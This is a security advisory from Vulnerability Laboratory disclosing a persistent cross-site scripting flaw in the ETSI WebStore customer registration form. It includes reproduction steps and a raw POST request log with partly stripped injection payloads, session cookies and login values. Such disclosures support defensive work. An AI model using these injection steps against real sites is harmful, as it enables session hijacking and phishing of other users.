`Document Title: =============== ETSI WEBstore 2023 - Persistent Cross Site Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2327 Release Date: ============= 2023-07-26 Vulnerability Laboratory ID (VL-ID): ==================================== 2327 Common Vulnerability Scoring System: ==================================== 4.6 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 1.000€ - 2.000€ Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent web vulnerability in the ETSI WebStore web-application. Affected Product(s): ==================== European Telecommunications Standards Institute (ETSI) Product: WEBstore 2023 - User Management (Web-Application) Vulnerability Disclosure Timeline: ================================== 2023-07-26: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (User Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the official ETSI Webstore 2023 web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The vulnerability is located in the all input fields of the NewOrModifyCustomer.asp registration / modify formular. Remote attackers are able to inject own malicious script code with persistent attack vector by an inject in the wrong sanitized input fields. The injection point is the registration or modify formular of the webstore. The execution points are located in the index, listarticle, myprofiles and user backend listing of the webstore web-appliation service. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Methode: [+] POST Vulnerable Inputs: [+] first name [+] last name [+] company name [+] address Affected Modules: [+] MyProfile [+] ListArticle [+] ShowCustomer Proof of Concept (PoC): ======================= The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and low user interaction. For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Register an account for the etsi webstore using the registration formular 2. Inject script code payloads to the firstname, lastname, companyname and address input fields 3. Save the account by submit via post method request 4. Confirm the email and logon to the account Note: After the login the execution takes place in the header were the user data is show as well as in separated websites were adress data is displayed. On preview of the customer in the backend an execution of the malicious payload takes as well place. 5. Successful reproduce of the persistent web vulnerability! --- PoC Session Logs (POST) [Inject & Execute] --- https://webstore.etsi.org/ecommerce/ShowHideCustomer.asp Host: webstore.etsi.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 906 Origin:https://webstore.etsi.org Connection: keep-alive Referer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 NewOrExisting=NEW&eMail=tammy23@protonmail.com&password=cryptoag2&Company=A">&ClientCode=&ClientCodeCSA3=,&Fname=B">&member_orga_id=16173&Lname=C">&Address1=D">&Address3=F">&ClientCode=&ClientCodeCSA3=,&Fname=B">&member_orga_id=16173&Lname=C">&Address1=D">&Address3=F"> C[MALICIOUS PAYLOAD EXECUTION]">
A[MALICIOUS PAYLOAD EXECUTION]"> Vulnerable Source: MyProfile Company name "/> Client Code First name * "> ... Last name * "> References: https://webstore.etsi.org/ecommerce/ https://webstore.etsi.org/ecommerce/Listarticle.asp https://webstore.etsi.org/ecommerce/ShowHideCustomer.asp https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp Security Risk: ============== The security risk of the persistent vulnerability in the webstore web-application of etsi is estimated as medium. Credits & Authors: ================== L. Guenther -https://www.vulnerability-lab.com/show.php?user=L.+Guenther Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: https://www.vulnerability-lab.com ; https://www.vuln-lab.com ;https://www.vulnerability-db.com Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2023 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY (VULNERABILITY LAB) RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE `